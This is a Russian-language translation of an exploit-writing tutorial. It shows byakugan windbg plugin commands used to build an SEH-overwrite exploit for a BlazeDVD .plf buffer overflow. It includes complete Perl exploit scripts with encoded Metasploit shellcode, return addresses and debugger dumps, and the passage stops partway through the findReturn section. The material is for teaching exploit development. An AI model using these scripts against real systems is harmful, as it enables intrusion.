R0 CREW

Exploit Writing Tutorial Part 5: How debugger modules & plugins can speed up basic exploit development (Перевод: p(eaz, RDot.org)

Перейти к содержанию

В первых частях руководства, я главным образом использовал Windbg, как инструмент позволяющий наблюдать за состоянием регистров и стека. В этой части, я расскажу и о других отладчиках и плагинах для них, которые помогут Вам ускорить этот процесс. Типичный набор средств для написания эксплойтов должен выглядеть примерно таким образом:

  • windbg (для получения списка команд Windbg, щелкните здесь);
  • ollydbg;
  • immunity debugger (требует установку Python, который идет в комплекте);
  • metasploit;
  • pyDbg;
  • различные скрипты на perl/python, и т.д.

В предыдущих главах мы уже познакомились с windbg, и я кратко рассказал о плагине от Microsoft, который позволяет оценить аварийное состояние программы, и сообщал о пригодности к использованию такой уязвимости. Этот плагин (MSEC) может быть загружен по адресу http://www.codeplex.com/msecdbg. На первый взгляд MSEC может быть весьма удобен в применении, но полностью полагаться на него всё же не стоит. Всегда лучше вручную просмотреть регистры, состояние стека, и попытаться определить, может ли уязвимость привести к выполнению внедряемого кода.

Byakugan: введение в pattern_offset и searchOpcode

Все наверняка знают, что у ollydbg есть многочисленное число плагинов. У Windbg на этот счет есть framework/API для создания плагинов и расширений. MSEC был лишь одним из примеров… Metasploit, приблизительно год назад, создал и выпустил свой собственный плагин для windbg под названием byakugan. Предкомпилированные бинарники для Windows XP SP2, SP3, Vista и Windows 7 могут быть найдены в папке framework3 по адресу \external\source\byakugan\bin. Переместите byakugan.dll и injectsu.dll в папку windbg, а detoured.dll в c:\windows\system32. Итак, что же нам может дать byakugan.dll?

  • jutsu: набор инструментов, для отслеживания буферов в памяти, определяя, где находится управление программой во время её крушения, а также для обнаружения действительного адреса возврата;
  • http://windbg.info/doc/1-common-cmds.html;
  • mushishi: структура для обнаружения и обходов антиотладки;
  • tenketsu: эмулятор vista heap.

Вы можете загрузить byakugan модуль в windbg, используя следующую команду:

0:000> !load byakugan
[Byakugan] Successfully loaded!

jutsu компонент предлагает следующие функции:

  • identBuf / listBuf / rmBuf: ищет буферы (ascii, metasploit-шаблоны, или данные из файла) в памяти;
  • memDiff: сравнивает данные в памяти с образцом и отмечает изменения. Это поможет Вам определить был ли, например, изменен шеллкод в памяти, из-за возможных ‘плохих знаков’, которые должны быть исключены из шеллкода;
  • hunt;
  • findReturn: ищет адреса, которые указывают на функцию применимую для возврата;
  • searchOpcode: конвертирует инструкции ассемблера в опкоды;
  • searchVtptr;
  • trackVal.

В дополнение к jutsu есть pattern_offset, который позволяет Вам находить metasploit-шаблон в памяти и показывает смещение eip

Чтобы продемонстрировать, как byakugan может ускорить процесс создания эксплойта, мы будем использовать уязвимость, найденную в BlazeDVD 5.1 Professional/Blaze HDTV Player 6.0, где измененный plf файл приводит к стековому переполнению буфера.

Обычно, мы начали бы с построения полезной нагрузки, которая содержал множество “A”. Но на сей раз, мы сразу задействуем metasploit-шаблон.

Создайте metasploit-шаблон, который содержит 1000 знаков и сохраните его в файле (например, blazecrash.plf):

peter@sploitbuilder1 ~/framework-3.2/tools
$./pattern_create.rb 1000> blazecrash.plf

Запустите windbg, и откройте в нем blazedvd. Нажмите F5 для запуска приложения. После того, как blazeDVD запущена, откройте в ней наш подготовленный plf файл . Когда произойдет зависание программы, снова нажмите F5.

Вы должны получить нечто похожее на это:

(5b0.894): Access violation(5b0.894): Access violation - code c0000005 (first chance)
 - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=062ddcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc

Теперь пришло время воспользоваться byakugan. Загрузите его, и посмотрите, сможет ли он найти metasploit-шаблон:

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !pattern_offset 1000
[Byakugan] Control of ecx at offset 612.
[Byakugan] Control of eip at offset 612.

Отлично. Мало того, что мы убедились в буферном переполнении, так мы ещё и знаем смещение, и все это за один заход. Похоже, что мы смогли перезаписать RET… Но прежде, чем сказать об этом точно, необходимо проверить это с помощью !exchain:

0:000> !exchain
0012afe4: 0012afe4: ntdll!ExecuteHandler2+3a (7c9032bc)
ntdll!ExecuteHandler2+3a (7c9032bc)
0012f5b8: 0012f5b8: +41347540 (41347541)
+41347540 (41347541)
Invalid exception stack at 33754132

Это SEH переполнение. Смещение 612, является смещением к nSEH. Поэтому, для того чтобы переписать next SEH, мы должны вычесть 4 байта, и получить реальное смещение = 608

Мы знаем, что структура типичного SEH эксплойта похожа на эту:

[junk][jump][pop pop ret][shellcode]

Давайте найдем pop,pop,ret, и:

  • прыгнем на 30 байт (вместо 6 байтов);
  • начнем шеллкод с nop’ов (чтобы компенсировать 30-байтовый скачок).

Найдем pop,pop,ret: Вы можете все еще использовать findjmp, или !jutsu searchOpcode. Единственный недостаток с !jutsu searchOpcode то, что Вы должны будете определить регистры. Однако мы воспользуемся именно им. Мы будем искать pop esi, pop ebx, ret:

0:000> !jutsu searchOpcode pop esi | pop ebx | ret
[J] Searching for:
> pop esi
>  pop ebx
>  ret

[J] Machine Code:
> 5e 5b c3
[J] Executable opcode sequence found at: 0x05942a99
[J] Executable opcode sequence found at: 0x05945425
[J] Executable opcode sequence found at: 0x05946a1e
[J] Executable opcode sequence found at: 0x059686a0
[J] Executable opcode sequence found at: 0x05969d91
[J] Executable opcode sequence found at: 0x0596aaa6
[J] Executable opcode sequence found at: 0x1000467f
[J] Executable opcode sequence found at: 0x100064c7
[J] Executable opcode sequence found at: 0x10008795
[J] Executable opcode sequence found at: 0x1000aa0b
[J] Executable opcode sequence found at: 0x1000e662
[J] Executable opcode sequence found at: 0x1000e936
[J] Executable opcode sequence found at: 0x3d937a1d
[J] Executable opcode sequence found at: 0x3d93adf5

… (etc)

Ищите адрес в диапазоне адресов одного из модулей/dll BlazeDVD. (Вы можете получить список выполнимых модулей командой “lm”). На моей системе (XP SP3 En), адреса начинающиеся с 0×64 будут прекрасно работать. Воспользуемся адресом 0x640246f7

0:000> u 0x640246f7
MediaPlayerCtrl!DllCreateObject+0x153e7:
640246f7 5e              pop     esi
640246f8 5b              pop     ebx
640246f9 c3              ret

Пишем эксплойт:

#!usr/bin/perl
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$nseh.$seh.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);

На моей системе сработало. Пробуйте.

Возможно, нам повезло на сей раз, т.к. существует множество недостатков при создании эксплойта почти “в слепую”, например:

  • мы не знаем, находиться ли используемый для pop,pop,ret адрес в модуле, который собран с safeseh;
  • мы не уверены в правильном размещении шеллкода (но перепрыгивая 30 байт, и используя nop’ы, мы немного увеличили свои шансы);
  • если эксплойт не работает (из-за слишком маленьких буферов для шеллкода), нам придется переделывать работу снова и снова, и на сей раз вручную.

Но тем не менее, если это сработает, Вы сэкономите кучу времени.

Byakugan: memDiff

Воспользуемся той же самой уязвимостью и эксплойтом, чтобы обсудить некоторые из других особенностей byakugan.

Мы будем использовать тот же самый эксплойт, но вместо того, чтобы делать скачок (0xeb, 0x1e), мы вставим 2 контрольных точки (0xcc, 0xcc), таким образом, мы сможем наблюдать, соответствует ли наш оригинальный шеллкод тому, что мы поместили в память (мы сможем идентифицировать повреждения шеллкода и возможные плохие символы).

Во-первых, мы сравним шеллкод в памяти с оригинальным шеллкодом, и, продемонстрируем различные функциональные возможности. Изменив шеллкод мы сможем увидеть различия.

Мы должны поместить шеллкод в текстовый файл:

my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

open ($FILE2,">shell.txt");
print $FILE2 $shellcode;
close($FILE2);

Откройте windbg, запустите выполнение программы, и откройте недавно созданный файл эксплойта. Когда приложение зависает, нажмите F5, таким образом, оно переступит через первое исключение.

Приложение теперь останавливается на наших контрольных точках, как и ожидалось:

(744.7a8): Break instruction exception(744.7a8):
Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+0x12f5b7:
0012f5b8 cc              int     3

Сделайте дамп eip, чтобы получить адрес начала шеллкода:

0:000> d eip
0012f5b8  cc cc 90 90 f7 46 02 64-90 90 90 90 90 90 90 90  .....F.d........
0012f5c8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012f5d8  90 90 90 90 90 90 89 e3-db c2 d9 73 f4 59 49 49  ...........s.YII
0012f5e8  49 49 49 43 43 43 43 43-43 51 5a 56 54 58 33 30  IIICCCCCCQZVTX30
0012f5f8  56 58 34 41 50 30 41 33-48 48 30 41 30 30 41 42  VX4AP0A3HH0A00AB
0012f608  41 41 42 54 41 41 51 32-41 42 32 42 42 30 42 42  AABTAAQ2AB2BB0BB
0012f618  58 50 38 41 43 4a 4a 49-4b 4c 4b 58 51 54 43 30  XP8ACJJIKLKXQTC0
0012f628  bb 50 bb 50 4c 4b 47 35-47 4c 4c 4b 43 4c 43 35  .P.PLKG5GLLKCLC5

Шеллкод начинается в 0x0012f5de. Запускаем jutsu

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu memDiff file 302 c:\sploits\blazevideo\shell.txt 0x0012f5de
            ACTUAL                                EXPECTED
ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43     ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43
43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30     43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30
41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41     41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41
51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a     51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a
4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b     4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b
47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f     47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f
4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b     4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b
50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50     50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50
4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a     4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a
44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54     44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54
45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b     45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b
45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31     45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31
4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c     4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c
46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36     46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36
45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b     45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b
42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58     42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58
4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54     4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54
51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f     51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f
4b 57 43 53 43 51 42 4c 43 53 43 30 41 41         4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 

[J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4
[J] Offset corruption occurs at:

Параметры, которые были переданы memDiff:

  • указывают, что memDiff должен читать из файла;
  • 302: размер памяти, для чтения (302 = длина нашего шеллкода);
  • c:\sploits\blazevideo\shellcode.txt: файл, содержащий наш оригинальный шеллкод;
  • 0x0012f5de: начальный адрес (точка начала нашего шеллкода в памяти).

Теперь измените скрипт эксплойта и некоторые случайные байты шеллкода (Я заменил все x43 на x44 - 24 замены)

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu memDiff file 302 c:\sploits\blazevideo\shell.txt 0x0012f5de
            ACTUAL                                EXPECTED
ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 44 44 44     ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43
44 44 44 51 5a 56 54 58 33 30 56 58 34 41 50 30     43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30
41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41     41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41
51 32 41 42 32 42 42 30 42 42 58 50 38 41 44 4a     51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a
4a 49 4b 4c 4b 58 51 54 44 30 45 50 45 50 4c 4b     4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b
47 35 47 4c 4c 4b 44 4c 44 35 44 38 44 31 4a 4f     47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f
4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b     4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b
50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50     50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50
4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a     4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a
44 4d 44 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54     44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54
45 54 44 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b     45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b
45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 44 31     45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31
4a 4b 4c 4b 45 4c 4c 4b 44 31 4a 4b 4d 59 51 4c     4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c
46 44 44 34 49 53 51 4f 46 51 4b 46 44 50 46 36     46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36
45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b     45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b
42 50 45 4c 4e 4d 4c 4b 42 48 44 38 4b 39 4a 58     42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58
4d 53 49 50 44 5a 50 50 44 58 4c 30 4d 5a 45 54     4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54
51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f     51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f
4b 57 44 53 44 51 42 4c 44 53 44 30 41 41           4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 

[J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4 0x43
[J] Offset corruption occurs at:

Теперь мы видим 24 байта (которые переписываются 24 байтами, измененными в оригинальном шеллкоде). Это хороший способ определить, был л шеллкод (или ascii образец, или metasploit образец) изменены в памяти. Вы можете также видеть “замененные” байты. Сравните линию байтов с линией, которая была распечатана в первом тесте. Мы теперь видим 0×43, добавленные к списку…
memDiff может действительно сохранить много времени, при сравнении шеллкодов и найти плохие символы.
Отметьте: memDiff типы и параметры:

0:000> !jutsu memDiff
[J] Format: memDiff    
Valid Types: hex: Value is any hex characters file: Buffer is read in from file at path buf: Buffer is taken from known tracked Buffers

Byakugan: identBuf/listBuf/rmBuf и Hunt

Эти 3 функции jutsu помогут Вам находить местоположения буферов в памяти.

Давайте возьмем следующий скрипт:

#!usr/bin/perl
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab…";

my $nseh = "\xcc\xcc\x90\x90";  #jump 30 bytes
my $seh = pack('V',0x640246f7);  #pop esi, pop ebx, ret
my $nop = "\x90" x 30;  #start with 30 nop's

# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$nseh.$seh.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);

open ($FILE2,">c:\\shell.txt");
print $FILE2 $nop.$shellcode;
close($FILE2);

Отметьте: “my $junk” содержит в себе metasploit шаблон из 608.
nseh содержит контрольные точки. И наконец, у основания скрипта, nop’ы + шеллкод записаны в файле (c:\shell.txt).

Откройте windbg, запустите в нем blazeDVD, откройте файл эксплойта (который должен заставить приложение зависнуть). Первое исключение:

(d54.970): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Теперь создайте 2 identBuf определения: один для metasploit-шаблона, и один для шеллкода:

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu identBuf file myShell c:\shell.txt
[J] Creating buffer myShell.
0:000> !jutsu identBuf msfpattern myBuffer 608
[J] Creating buffer myBuffer.
0:000> !jutsu listBuf
[J] Currently tracked buffer patterns:
    Buf: myShell    Pattern: ãÛÂÙsôYIIIIICCCCCCQZVT...
    Buf: myBuffer    Pattern: Aa0Aa1A...

Запустите byakugan hunt для этих буферов:

0:000> !jutsu hunt
[J] Controlling eip with myBuffer at offset 260.
[J] Found buffer myShell @ 0x0012f5c0
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper!
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower!
[J] Found buffer myBuffer @ 0x01f561e4

Как было замечено ранее, мы могли перезаписать EIP непосредственно (но мы создаем SEH-эксплойт). Hunt говорит нам, что мы получаем управляем над eip в смещении 260. Таким образом hunt даст нам те же самые результаты как !pattern_offset. Вдобавок ко всему, hunt будет искать наши предидентифицированные буфера и давать нам их адреса.

Нажмите “g” в windbg (чтобы передать первое исключение приложению). Приложение теперь останавливается в наших контрольных точках (которые помещены в nseh)

0:000> g
(d54.970): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+0x12f5b7:
0012f5b8 cc              int     3

Снова запустите hunt:

0:000> !jutsu hunt
[J] Found buffer myShell @ 0x0012f5c0
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper!
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower!
[J] Found buffer myBuffer @ 0x01f561e4

Мы больше не управляем eip через myBuffer (т.к. мы передали первое исключение приложению), но если посмотреть на eip (0x0012f5b8), мы увидим, что он указывает на местоположение, которое является очень близким к буферу myShell (0x0012f5c0) (таким образом короткий скачок позволит достать до шеллкода).

0:000> d eip+8
0012f5c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012f5d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 89 e3  ................
0012f5e0  db c2 d9 73 f4 59 49 49-49 49 49 43 43 43 43 43  ...s.YIIIIICCCCC
0012f5f0  43 51 5a 56 54 58 33 30-56 58 34 41 50 30 41 33  CQZVTX30VX4AP0A3
0012f600  48 48 30 41 30 30 41 42-41 41 42 54 41 41 51 32  HH0A00ABAABTAAQ2
0012f610  41 42 32 42 42 30 42 42-58 50 38 41 43 4a 4a 49  AB2BB0BBXP8ACJJI
0012f620  4b 4c 4b 58 51 54 43 30-45 50 45 50 4c 4b 47 35  KLKXQTC0EPEPLKG5
0012f630  47 4c 4c 4b 43 4c 43 35-44 38 43 31 4a 4f 4c 4b  GLLKCLC5D8C1JOLK

Это доказывает то, что наша контрольная точка помещена в первый байт, где nseh перезаписывается на скачок в 8 байтов для перехода к нашему шеллкоду.

Byakugan: findReturn

Мы убедились в том, что можем создать эксплойт, основанный на прямом RET-перезаписывании (в смещении 260). Давайте напишем скрипт, который продемонстрирует, что использование findReturn помогает нам создавать рабочие эксплойты:

Во-первых, напишем скрипт, который создаст полезную нагрузку, состоящую из 264 символов (metasploit-шаблон), сопровождаемых 1000 “A”:

my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8 . . . Ai7";
my $junk2 = "A" x 1000;
$payload =$junk.$junk2;

open ($FILE,">$sploitfile");a
print $FILE $payload;
close($FILE);

open ($FILE2,">c:\\junk2.txt");
print $FILE2 $junk2;
close($FILE2);

Открыв файл эксплота, windbg сообщит следующее:

(c34.7f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Воспользуемся арсеналом byakugan, чтобы найти, что вся запрошенная информация создаст рабочий эксплойт:

  • отследим metasploit-шаблон ($junk);
  • отследим A’s ($junk2);
  • смотрим, где перезаписывается eip (смещение);
  • смотрим, где находятся $junk и $junk2;
  • находим адреса возврата.
(c34.7f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Результаты:

  • eip был перезаписан в смещении равном 260 байт от myJunk1;

